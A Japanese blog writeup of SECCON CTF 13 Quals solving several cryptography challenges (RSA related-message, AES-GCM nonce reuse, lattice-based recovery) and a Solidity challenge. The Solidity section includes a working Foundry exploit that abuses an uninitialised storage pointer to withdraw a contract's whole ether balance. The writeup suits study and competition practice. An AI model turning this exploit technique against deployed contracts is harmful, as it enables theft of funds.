SECCON CTF 13 Quals writeup - チョコラスクのブログ

SECCON CTF 13 QualsにチームBunkyoWesternsで参加しました。

国内2位で国内決勝に進出することができました！

Cryptoは5問中3問しか解くことができませんでした。残りの2問は4, 5solvesで難しかったですが、片方は解きたかったところです。

一方で、1週間ほど前に勉強し始めたブロックチェーンの問題を解くことができたのはよかったです。

[crypto] reiwa_rot13
[crypto] dual_summon
[crypto] Tidal wave
[blockchain] Trillion Ether

[crypto] reiwa_rot13

次のスクリプトとその実行結果が与えられます。

from Crypto.Util.number import *
import codecs
import string
import random
import hashlib
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 137

key = ''.join(random.sample(string.ascii_lowercase, 10))
rot13_key = codecs.encode(key, 'rot13')

key = key.encode()
rot13_key = rot13_key.encode()

print("n =", n)
print("e =", e)
print("c1 =", pow(bytes_to_long(key), e, n))
print("c2 =", pow(bytes_to_long(rot13_key), e, n))

key = hashlib.sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
print("encyprted_flag = ", cipher.encrypt(flag))

英小文字からなる長さ10の key および key をrot13したものを、それぞれRSAで暗号化した結果が与えられます。key を復元するのが目標です。

数ヶ月前に次のようなほぼ同じ問題を作問してストックしていました。

from Crypto.Util.number import getPrime, bytes_to_long
import string
from flag import flag

def rot13(s):
    res = ""
    for c in s:
        if c in string.ascii_lowercase:
            res += chr(ord('a')+(ord(c)-ord('a')+13)%26)
        elif c in string.ascii_uppercase:
            res += chr(ord('A')+(ord(c)-ord('A')+13)%26)
        else:
            res += c
    return res

flag_part = flag.lstrip("flag{").rstrip("}")
assert len(flag_part) == 10
assert all([c in string.ascii_lowercase + string.ascii_uppercase for c in flag_part])

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 337
assert (p-1)*(q-1)%e != 0
enc = pow(bytes_to_long(flag.encode()), e, n)
enc_rot13 = pow(bytes_to_long(rot13(flag).encode()), e, n)

print(f'n = {n}')
print(f'e = {e}')
print(f'enc = {enc}')
print(f'enc_rot13 = {enc_rot13}')

ソルバーも実装済みだったので、それを少し改造することでfirst bloodを獲得できました。

from Crypto.Util.number import *
import string
import hashlib
from Crypto.Cipher import AES

n = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927
e = 137
c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679
c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233
encyprted_flag =  b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4"

PR.<x> = PolynomialRing(Zmod(n))

def gcd(a, b):
    while b!=0:
        a, b = b, a%b
    return a

for i in range(2**10):
    d = 0
    for j in range(10):
        if (i>>j)&1 == 0:
            d += 13 * 256**j
        else:
            d -= 13 * 256**j
    f = x^e-c1
    g = (x+d)^e-c2
    h = gcd(f, g).monic()
    res = long_to_bytes(int(-h[0]))
    ok = True
    for c in res:
        if not (0x20<=c and c<0x80):
            ok = False
    if ok:
        print(res) # b"dnjqygbmor"
        key = hashlib.sha256(res).digest()
        cipher = AES.new(key, AES.MODE_ECB)
        print(cipher.decrypt(encyprted_flag))

SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}

[crypto] dual_summon

次のスクリプトが与えられます。

from Crypto.Cipher import AES
import secrets
import os
import signal

signal.alarm(300)

flag = os.getenv('flag', "SECCON{sample}")

keys = [secrets.token_bytes(16) for _ in range(2)]
nonce = secrets.token_bytes(16)

def summon(number, plaintext):
    assert len(plaintext) == 16
    aes = AES.new(key=keys[number-1], mode=AES.MODE_GCM, nonce=nonce)
    ct, tag = aes.encrypt_and_digest(plaintext)
    return ct, tag

# When you can exec dual_summon, you will win
def dual_summon(plaintext):
    assert len(plaintext) == 16
    aes1 = AES.new(key=keys[0], mode=AES.MODE_GCM, nonce=nonce)
    aes2 = AES.new(key=keys[1], mode=AES.MODE_GCM, nonce=nonce)
    ct1, tag1 = aes1.encrypt_and_digest(plaintext)
    ct2, tag2 = aes2.encrypt_and_digest(plaintext)
    # When using dual_summon you have to match tags
    assert tag1 == tag2

print("Welcome to summoning circle. Can you dual summon?")
for _ in range(10):
    mode = int(input("[1] summon, [2] dual summon >"))
    if mode == 1:
        number = int(input("summon number (1 or 2) >"))
        name   = bytes.fromhex(input("name of sacrifice (hex) >"))
        ct, tag = summon(number, name)
        print(f"monster name = [---filtered---]")
        print(f"tag(hex) = {tag.hex()}")

    if mode == 2:
        name   = bytes.fromhex(input("name of sacrifice (hex) >"))
        dual_summon(name)
        print("Wow! you could exec dual_summon! you are master of summoner!")
        print(flag)

最初に2つの鍵とnonceが生成されます。その後、2つのうち選んだ方の鍵を用いて好きな平文をAESのGCMモードで暗号化した結果のtagを得ることが何度でもできます。目標は、2つの鍵でそれぞれ暗号化した結果のtagが一致するような平文を求めることです。

$i$ 個目の鍵 ( $i=1, 2$ ) で16byteの平文 $P$ を暗号化した結果のtagは $(P+K_{i})H_{i}^{2}+LH_{i}+S_{i}$ と表せます。ここで、和や積は、多項式 $x^{128}+x^{7}+x^{2}+x+1$ で定まる $\mathbb{F}_{2}$ の拡大体 $\mathbb{F}_{2^{128}}$ 上で計算します。また、 $L$ は平文の長さ、 $H_{i}, K_{i}, S_{i}$ は鍵とnonceのみから決まる値です (参考：本当は怖いAES-GCMの話)。 $H_{i}^{2}=H'_{i}$ , $K_{i}H_{i}^{2}+LH_{i}+S_{i}=S'_{i}$ とおくと、tagは $PH'_{i}+S'_{i}$ と表せます。

nonceが固定である点が脆弱性です。2つの異なる平文 $P_{1}, P_{2}$ を適当に選んでサーバーに入力し、得られたtagを $T_{1}, T_{2}$ とすると、 $T_{1}+T_{2}=(P_{1}+P_{2})H'_{i}$ より $H'_{i}$ が求まります。よって、 $S'_{i}$ も求まります。

2つの鍵に対するtagが一致するような平文は、 $PH'_{1}+S'_{1}=PH'_{2}+S'_{2}$ を $P$ について解いて、 $P=(S'_{2}-S'_{1})(H'_{1}-H'_{2})^{-1}$ と求まります。これをサーバーに入力することでフラグが得られます。

from Crypto.Cipher import AES
from ptrlib import *
from Crypto.Util.number import *

F.<a> = GF(2^128, modulus=x^128 + x^7 + x^2 + x + 1)
P.<x> = PolynomialRing(F)

def to_poly(b):
    v = int.from_bytes(b, 'big')
    v = int(f"{v:0128b}"[::-1], 2)
    return F.fetch_int(v)

def to_bytes(p):
    v = p.integer_representation()
    v = int(f"{v:0128b}"[::-1], 2)
    return v.to_bytes(16, 'big')

sock = Socket("nc dual-summon.seccon.games 2222")

def query(number, plaintext):
    sock.sendlineafter(">", "1")
    sock.sendlineafter(">", str(number))
    sock.sendlineafter(">", plaintext.hex())
    return bytes.fromhex(sock.recvlineafter("tag(hex) = ").strip().decode())

p0 = F(0)
t0 = to_poly(query(1, to_bytes(p0)))
p1 = F(1)
t1 = to_poly(query(1, to_bytes(p1)))
h12 = (t0+t1)*(p0+p1)^(-1)
s1 = t0-h12*p0

p0 = F(0)
t0 = to_poly(query(2, to_bytes(p0)))
p1 = F(1)
t1 = to_poly(query(2, to_bytes(p1)))
h22 = (t0+t1)*(p0+p1)^(-1)
s2 = t0-h22*p0

p = (s2-s1)*(h12-h22)^(-1)
p = to_bytes(p)
sock.sendlineafter(">", "2")
sock.sendlineafter(">", p.hex())
sock.interactive()

SECCON{Congratulation!_you are_master_of_summonor!_you_can_summon_2_monsters_in_one_turn}

[crypto] Tidal wave

次のスクリプトとその実行結果が与えられます。

import random
from Crypto.Util.number import getPrime
import secrets
from flag import flag

def get_Rrandom(R):
    return secrets.randbelow(int(R.order()))

def make_G(R, alphas):
    mat = []
    for i in range(k):
        row = []
        for j in range(n):
            row.append(alphas[j]^i)
        mat.append(row)
    mat = matrix(R, mat)
    return mat

def split_p(R, p, prime_bit_length, length):
    step = ceil(prime_bit_length/length)
    res = []
    while p > 0:
        res.append(ZZ(p % (2**step)))
        p >>= step
    return vector(R, res)

def make_random_vector(R, length):
    error_range = 2^1000
    res = []
    for _ in range(length):
        res.append(R(secrets.randbelow(int(error_range))))
    return vector(R, res)

def make_random_vector2(R, length):
    error_cnt = 28
    res = vector(R, length)
    error_pos = random.sample(range(length), error_cnt)
    for i in error_pos[:error_cnt//2]:
        res[i] = get_Rrandom(R)*p
    for i in error_pos[error_cnt//2:]:
        res[i] = get_Rrandom(R)*q
    return vector(R, res)

n, k = 36, 8
prime_bit_length = 512
p = getPrime(prime_bit_length)
q = getPrime(prime_bit_length)
N = p*q
R = Zmod(N)
alphas = vector(R, [get_Rrandom(R) for _ in range(n)])
G = make_G(R, alphas)
dets = [G.submatrix(0,i*k-i,8,8).det() for i in range(5)]
double_alphas = list(map(lambda x: x^2, alphas))
alpha_sum_rsa = R(sum(alphas))^65537

keyvec = vector(R, [get_Rrandom(R) for _ in range(k)])
pvec = split_p(R, p, prime_bit_length, k)

p_encoded = pvec*G + make_random_vector(R, n)
key_encoded = keyvec*G + make_random_vector2(R, n)

print(f"{N=}")
print(f"{dets=}")
print(f"{double_alphas=}")
print(f"{alpha_sum_rsa=}")
print(f"{p_encoded=}")
print(f"{key_encoded=}")

import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
key = hashlib.sha256(str(keyvec).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
encrypted_flag = cipher.encrypt(pad(flag, AES.block_size))
print(f"{encrypted_flag=}")

最初に512bitの素数 $p, q$ が生成され、 $N=pq$ の値が与えられます。以降の計算は $\bmod{N}$ で行われます。

まず、 $n=36$ , $k=8$ として、 $0$ 以上 $N$ 未満のランダムな整数 $\alpha_{0}, \alpha_{1}, \ldots , \alpha_{n-1}$ が生成されます。そして、行列

$\displaystyle{ G=\begin{pmatrix} \alpha_{0}^{0} & \alpha_{1}^{0} & \dots & \alpha_{n-1}^{0} \\ \alpha_{0}^{1} & \alpha_{1}^{1} & \dots & \alpha_{n-1}^{1} \\ \alpha_{0}^{2} & \alpha_{1}^{2} & \dots & \alpha_{n-1}^{2} \\ \vdots & \vdots & \vdots & \vdots \\ \alpha_{0}^{k-1} & \alpha_{1}^{k-1} & \dots & \alpha_{n-1}^{k-1} \\ \end{pmatrix} }$

の $(i(k-1), 0)$ 成分 ( $i=0, 1, \ldots, 4$ ) を左上とする $k\times k$ 部分行列の行列式の値が与えられます。また、 $\alpha_{i}^{2}\bmod{N}$ の値、 $(\alpha_{0}+\cdots +\alpha_{n-1})^{65537}\bmod{N}$ の値も与えられます。

ここまでの情報から、 $\alpha_{i}$ の値を求めることを考えます。 $N$ の素因数分解がわからないので、 $\bmod{N}$ での平方根の計算は不可能ですが、 $\bmod{N}$ での逆元の計算は可能です。

$G$ の $k\times k$ 部分行列の行列式はヴァンデルモンドの行列式とよばれており、 $\prod_{i\lt j}(\alpha_{j}-\alpha_{i})$ と計算できます。これを展開し、各変数について2次以上の部分を $\alpha_{i}^{2}\bmod{N}$ の値を用いて次数下げすると、

$\displaystyle{ \sum_{l:even, i_{1}\lt \cdots \lt i_{l}}a_{i_{1}\ldots i_{l}}\alpha_{i_{1}}\cdots \alpha_{i_{l}}=b }$

という形の関係式が得られます。さらにこの両辺を2乗し、同様に次数下げを行うと、別の関係式

$\displaystyle{ \sum_{l:even, i_{1}\lt \cdots \lt i_{l}}a'_{i_{1}\ldots i_{l}}\alpha_{i_{1}}\cdots \alpha_{i_{l}}=b' }$

が得られます。これを繰り返して $2^{k-1}$ 個の関係式を得ます。各単項式 $\alpha_{i_{1}}\cdots \alpha_{i_{l}}$ を別々の変数と見ると、変数は $2^{k-1}$ 個あり、関係式は1次式とみなせるので、連立1次方程式を解いて $\alpha_{i_{1}}\cdots \alpha_{i_{l}}$ が求まります。

以上により、特に $\alpha_{i}\alpha_{i+1}$ および $\alpha_{0}\alpha_{2}$ の値がわかりました。 $t=\alpha_{0}$ とおくと、 $i$ が偶数のとき $\alpha_{i}=a_{i}t$ 、奇数のとき $\alpha_{i}=a_{i}/t$ と表せて、 $\alpha_{0}\alpha_{2}$ の値から $t^{2}$ の値もわかります。ここで $(\alpha_{0}+\cdots +\alpha_{n-1})^{65537}\bmod{N}$ の値および、 $t^{65537}=(t^{2})^{32768}t$ であることを用いると $t$ の値が求まり、 $\alpha_{i}$ の値が求まります！

次に、 $p$ を2進数表記して64bitごとに区切って得られるベクトル $pvec=(p_{0},\ldots , p_{k-1})$ を考え、ベクトル $penc=pvec\ast G+e$ が与えられます。ここで $e$ は $2^{1000}$ 未満のランダムな値からなるベクトルです。この情報から $p$ の値を求めることを考えます。

$p_{i}$ や $e$ の成分が小さいことに着目すると、これは典型的なLLLの問題です。行列

$\displaystyle{ \begin{pmatrix} \alpha_{0}^{0} & \alpha_{1}^{0} & \dots & \alpha_{n-1}^{0} & w & 0 & \dots & 0 & 0 \\ \alpha_{0}^{1} & \alpha_{1}^{1} & \dots & \alpha_{n-1}^{1} & 0 & w & \dots & 0 & 0 \\ \vdots & \vdots & \vdots & \vdots & \vdots & \vdots & \vdots & \vdots \\ \alpha_{0}^{k-1} & \alpha_{1}^{k-1} & \dots & \alpha_{n-1}^{k-1} & 0 & 0 & \dots & w & 0 \\ N & 0 & \dots & 0 & 0 & 0 & \dots & 0 & 0 \\ 0 & N & \dots & 0 & 0 & 0 & \dots & 0 & 0 \\ \vdots & \vdots & \vdots & \vdots & \vdots & \vdots & \vdots & \vdots \\ 0 & 0 & \dots & N & 0 & 0 & \dots & 0 & 0 \\ -penc_{0} & -penc_{1} & \dots & -penc_{n-1} & 0 & 0 & \dots & 0 & \infty \\ \end{pmatrix} }$

にLLLアルゴリズムを適用すると、

$\displaystyle{ (e_{0}, e_{1}, \ldots , e_{n-1}, 0, p_{1}w, \ldots , p_{k-1}w, \infty) }$

というベクトルが得られます (定数 $w$ は結果のベクトルの成分の大きさがそろうように $w=2^{1000-64}$ くらいにする)。

ここで、1行目の成分が $\alpha_{i}^{0}=1$ であることから、 $p_{0}$ の値だけはうまく求まりませんが、coppersmith法を用いて復元すればよいです (参考：SageMathを使ってCoppersmith's Attackをやってみる)。

最後に、 $N$ 未満のランダムな値からなる長さ $k$ のベクトル $keyvec$ が生成され、 $keyenc=keyvec*G+e$ が与えられます。ここで $e$ は、 $n$ 個の成分のうち14個がランダムな $p$ の倍数、他の14個がランダムな $q$ の倍数、残り8個が0です。 $keyvec$ を求められればフラグが得られます。

$keyvec \bmod{p}$ を求めることを考えます。 $e$ の36個の成分のうち22個が $\bmod{p}$ で0なので、 $e$ の成分をランダムに $k$ 個選んだとき、すべて $\bmod{p}$ で0である確率は ${}_{22} C_{8}/{}_{36} C_{8}=1/95$ くらいです。よって、ランダムに $k$ 個の列を選んで $keyenc=keyvec*G\bmod{p}$ を解くことを繰り返せば $keyvec \bmod{p}$ が求まります。同様に $keyvec \bmod{q}$ も計算して中国剰余定理で復元すれば $keyvec$ が求まり、フラグが得られます。

N=...
dets=...
double_alphas=...
alpha_sum_rsa=...
p_encoded=...
key_encoded=...
encrypted_flag=...

n, k = 36, 8
PR = PolynomialRing(Zmod(N), k, 'z')
z = PR.gens()

f = PR(1)
for i in range(k):
    for j in range(i):
        f *= (z[i]-z[j])

def reduce(f, m):
    g = PR(0)
    for mon in f.monomials():
        c = f.monomial_coefficient(mon)
        mon_new = PR(1)
        c_new = c
        for i in range(k):
            di = mon.degree(z[i])
            while di>=2:
                di -= 2
                c_new *= double_alphas[i+m*(k-1)]
            mon_new *= z[i]^di
        g += c_new*mon_new
    return g

alpha12 = []
mons = []
for j in range(2**k):
    if bin(int(j)).count('1')%2!=0:
        continue
    mon = PR(1)
    for l in range(k):
        if (j>>l)&1:
            mon *= z[l]
    mons.append(mon)

alpha02 = 1
for m in range(len(dets)):
    g = reduce(f, m)
    val = Zmod(N)(dets[m])
    mat = []
    vec = []
    for i in range(2**(k-1)+10):
        vi = []
        for mon in mons:
            c = g.monomial_coefficient(mon)
            vi.append(c)
        mat.append(vi)
        vec.append(val)
        g = reduce(g^2, m)
        val = val^2

    mat = matrix(Zmod(N), mat)
    vec = vector(Zmod(N), vec)
    res = mat.solve_right(vec)

    for i in range(k-1):
        alpha12.append(res[mons.index(z[i]*z[i+1])])
    if m==0:
        alpha02 = res[mons.index(z[0]*z[2])]

alpha12 = [Zmod(N)(v) for v in alpha12]
alpha02 = Zmod(N)(alpha02)

t2 = alpha02*alpha12[0]/alpha12[1]
s = [Zmod(N)(0), Zmod(N)(0)]
vi = Zmod(N)(1)
for i in range(n-1):
    s[i%2]+=vi
    vi = alpha12[i]/vi
s[(n-1)%2]+=vi
t65537 = (s[0]*t2+s[1])^65537/alpha_sum_rsa
t = t65537/(t2^(65537//2))
alphas = [t]
for i in range(n-1):
    alphas.append(alpha12[i]/alphas[-1])
print(alphas)

for i in range(n):
    assert alphas[i]^2 == double_alphas[i]

mat = [[0]*(n+k+1) for _ in range(n+k+1)]
for i in range(k):
    for j in range(n):
        mat[i][j] = int(alphas[j]^i)
    mat[i][n+i] = 2**(1000-64)
for i in range(n):
    mat[k+i][i] = N
for i in range(n):
    mat[n+k][i] = -p_encoded[i]
mat[n+k][n+k] = 2**1500
res = matrix(ZZ,mat).LLL()

for resi in res:
    if resi[-1]!=0:
        ps = [v//2**(1000-64) for v in resi[n:n+k]]

p = 0
for i in range(k):
    assert 0<=ps[i]<2**64
    p += ps[i]*2**(64*i)

R.<x> = PolynomialRing(Zmod(N))
f = x+p
res = f.small_roots(beta=0.48)
p = res[0]+p
p = int(p)
q = int(N)//p

import random
ress = []
keyp = []
while True:
    ids = random.sample(range(n), k)
    mat = [[0]*k for _ in range(k)]
    for i in range(k):
        for j in range(k):
            mat[i][j] = alphas[ids[j]]^i
    vec = []
    for j in range(k):
        vec.append(key_encoded[ids[j]])
    res = matrix(Zmod(p),mat).solve_left(vector(Zmod(p),vec))
    if res in ress:
        keyp = res
        break
    ress.append(res)

ress = []
keyq = []
while True:
    ids = random.sample(range(n), k)
    mat = [[0]*k for _ in range(k)]
    for i in range(k):
        for j in range(k):
            mat[i][j] = alphas[ids[j]]^i
    vec = []
    for j in range(k):
        vec.append(key_encoded[ids[j]])
    res = matrix(Zmod(q),mat).solve_left(vector(Zmod(q),vec))
    if res in ress:
        keyq = res
        break
    ress.append(res)

key = []
for i in range(k):
    v = CRT_list([int(keyp[i]),int(keyq[i])],[int(p),int(q)])
    key.append(v)
key = vector(Zmod(N), key)
print(key)

import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
key = hashlib.sha256(str(key).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(encrypted_flag)
print(flag)

SECCON{There__4re_many_w4ys_t0_use_m4tr1x:)}

$\alpha_{i}$ を求めるパートがグレブナー基底で解けるのは完全に見落としていました...

[blockchain] Trillion Ether

コントラクトのソースコードは次のようになっています。

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

contract TrillionEther {
    struct Wallet {
        bytes32 name;
        uint256 balance;
        address owner;
    }

    Wallet[] public wallets;

    constructor() payable {
        require(msg.value == 1_000_000_000_000 ether);
    }

    function isSolved() external view returns (bool) {
        return address(this).balance == 0;
    }

    function createWallet(bytes32 name) external payable {
        wallets.push(_newWallet(name, msg.value, msg.sender));
    }

    function transfer(uint256 fromWalletId, uint256 toWalletId, uint256 amount) external {
        require(wallets[fromWalletId].owner == msg.sender, "not owner");
        wallets[fromWalletId].balance -= amount;
        wallets[toWalletId].balance += amount;
    }

    function withdraw(uint256 walletId, uint256 amount) external {
        require(wallets[walletId].owner == msg.sender, "not owner");
        wallets[walletId].balance -= amount;
        payable(wallets[walletId].owner).transfer(amount);
    }

    function _newWallet(bytes32 name, uint256 balance, address owner) internal returns (Wallet storage wallet) {
        wallet = wallet;
        wallet.name = name;
        wallet.balance = balance;
        wallet.owner = owner;
    }
}

_newWallet 関数内の wallet = wallet; の行を削除すると、

TypeError: This variable is of storage pointer type and can be returned without prior assignment, which would lead to undefined behaviour.

というコンパイルエラーが出ます。このことから、storage領域の読み書きによるバグが疑われます。

walletのデータがstorage領域のどの位置に書き込まれるかを観察してみます。例えば createWallet 関数の name に 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe を指定すると、storage領域の 0 および 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e55d の位置にwalletのデータが書き込まれることがわかります (画像はRemixのデバッガ画面)。また、wallet.name の値は入力した値から1ずれて 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff となります。

Solidityのドキュメントなどを参照すると、walletのデータが書き込まれる位置は keccak256(uint256(0))+3*name mod2²⁵⁶ になるようです。

そこで、以下のように wallet.name が msg.sender に一致するようなwalletを作成し、その2つ前の位置を指定すると、wallets[walletId].owner == msg.sender を満たしつつ wallets[walletId].balance を msg.sender にできるので、10¹² etherを引き出すことができます。指定する walletId は、keccak256(uint256(0))+3*walletId=keccak256(uint256(0))+3*(msg.sender-1)-2 より、msg.sender-5/3 mod2²⁵⁶ です。

----------------
| msg.sender-1 | <- createWallet(msg.sender-2)
----------------
| 0            | <- withdraw
----------------
| msg.sender   |
----------------
| msg.sender   | <- createWallet(msg.sender-1)
----------------
| 0            |
----------------
| msg.sender   |
----------------

exploitの実装やテスト、実行においては、SECCON Beginners CTF 2024の問題vote4bで提供されたREADMEが参考になりました。

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;
import { Script } from "forge-std/Script.sol";
import { VmSafe } from "forge-std/Vm.sol";
import { TrillionEther } from "../src/TrillionEther.sol";

contract Exploit is Script {
  TrillionEther public chall;
  VmSafe.Wallet public solver;

  function setUp() public {
    chall = TrillionEther(/* Setup Contract's Address */);
    solver = vm.createWallet(/* Attacker's Private Key */);
  }

  function run() public {
    vm.startBroadcast(solver.privateKey);
    
    address addr = solver.addr;
    chall.createWallet(bytes32(uint256(uint160(addr)-1)));
    chall.createWallet(bytes32(uint256(uint160(addr)-2)));
    chall.createWallet(0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe); // 入れないとなぜかwithdrawに失敗する
    uint256 v = uint256(uint160(addr)) + 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab - 2 ; // addr + 1/3 - 2
    chall.wallets(v);
    chall.withdraw(v, 1_000_000_000_000 ether);
    require(chall.isSolved(), "Not solved");
  }
}

SECCON{unb3l13-bubb13_64362072f002c1ea}

minaminaoさんに言及していただけて嬉しいです。みんなブロックチェーンをやりましょう。

SECCONお疲れ様でした。地味に日本人に問題が解かれたの初めてです。chocoruskさん、ありがとう。
— minaminao (@2llr) November 24, 2024